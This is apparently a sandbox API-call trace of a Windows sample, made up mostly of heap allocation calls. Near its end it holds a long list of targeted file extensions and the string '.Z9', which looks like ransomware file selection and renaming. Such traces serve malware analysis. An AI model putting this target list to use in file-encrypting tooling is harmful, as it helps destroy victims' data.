	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769ef8
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x76a0a8
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753ba8
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769f58
	[0158.829] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d710, Size=0x80) returned 0x766c78
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769e08
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769e80
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x769eb0
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab8d8
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab938
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ab920
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab830
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x7539b8
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab860
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7aba88
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7aba40
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7aba58
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ab800
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab950
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ab890
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab8f0
	[0158.829] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x766c78, Size=0x100) returned 0x7a8418
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abaa0
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab998
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7aba10
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ab848
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abad0
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7aba70
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753b38
	[0158.829] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab908
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abab8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab8a8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x753a58
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab818
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7aba28
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x7539d8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab8c0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab7e8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ab878
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab968
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab9b0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab980
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7ab9c8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ab9e0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ab9f8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abd40
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abc68
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abbf0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb78
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753af8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb90
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abcb0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abbc0
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb30
	[0158.830] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7a8418, Size=0x200) returned 0x767f98
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb00
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753a18
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abc20
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abc08
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abc38
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abd70
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abba8
	[0158.830] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abbd8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb60
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abdb8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abae8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abcc8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abd58
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abd88
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abc50
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abc80
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abc98
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abd10
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abce0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abcf8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abd28
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abda0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abdd0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753a38
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb18
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abb48
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe60
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753a48
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abfb0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abf20
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abff8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abfe0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac0a0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abed8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe30
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac0d0
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abf08
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac040
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac0b8
	[0158.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abf50
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abf38
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abf68
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe00
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abde8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac010
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abf80
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe78
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac058
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abef0
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753a68
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x753b18
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abf98
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abfc8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac028
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac070
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac088
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7abe18
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe48
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abe90
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abea8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7abec0
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac208
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac2c8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac280
	[0158.832] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x767f98, Size=0x400) returned 0x7689a8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac220
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac238
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac268
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac250
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac148
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac3b8
	[0158.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac310
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac2e0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac370
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac328
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753a78
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac1d8
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac3d0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac0e8
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac358
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac298
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac2b0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7ac2f8
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac388
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac178
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac100
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac3a0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac1f0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac340
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac190
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac118
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753b28
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac130
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac1c0
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac160
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac1a8
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac418
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac670
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac628
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac520
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac610
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7ac598
	[0158.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac640
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7ac430
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac460
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac4c0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac658
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac688
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac6a0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ac6b8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac3e8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac568
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac538
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac580
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac550
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac400
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac4f0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac448
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac5b0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac5c8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac478
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac490
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac4a8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac5e0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac4d8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac6d0
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac508
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ac5f8
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x12) returned 0x724b20
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac778
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac790
	[0158.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac748
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac6e8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac760
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac700
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac718
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ac730
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad378
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad2a0
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad168
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad210
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad288
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad228
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad2b8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad330
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad3c0
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad2e8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad2d0
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad240
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad360
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad318
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad1c8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xe) returned 0x7ad390
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad3a8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x753d68
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad300
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x7ad998
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad348
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad258
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad3d8
	[0158.835] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad0f0
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad108
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad1f8
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad120
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad138
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad180
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad150
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad198
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad1b0
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7ad1e0
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad270
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x7ad878
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad468
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad5a0
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad4f8
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad510
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad618
	[0158.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7ad6d8
	[0158.836] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7689a8, Size=0x800) returned 0x7adbc0
	[0158.836] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0158.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7aa7a0 | out: hHeap=0x710000) returned 1
	[0158.836] lstrlenW (lpString="") returned 0
	[0158.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acb80 | out: hHeap=0x710000) returned 1
	[0158.836] lstrlenW (lpString=".Z9") returned 3
	[0158.836] lstrlenW (lpString=".Z9") returned 3
	[0158.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acb20 | out: hHeap=0x710000) returned 1
	[0158.836] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acb20, Size=0x20) returned 0x74f210
	[0158.836] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f210, Size=0x40) returned 0x72d7e8
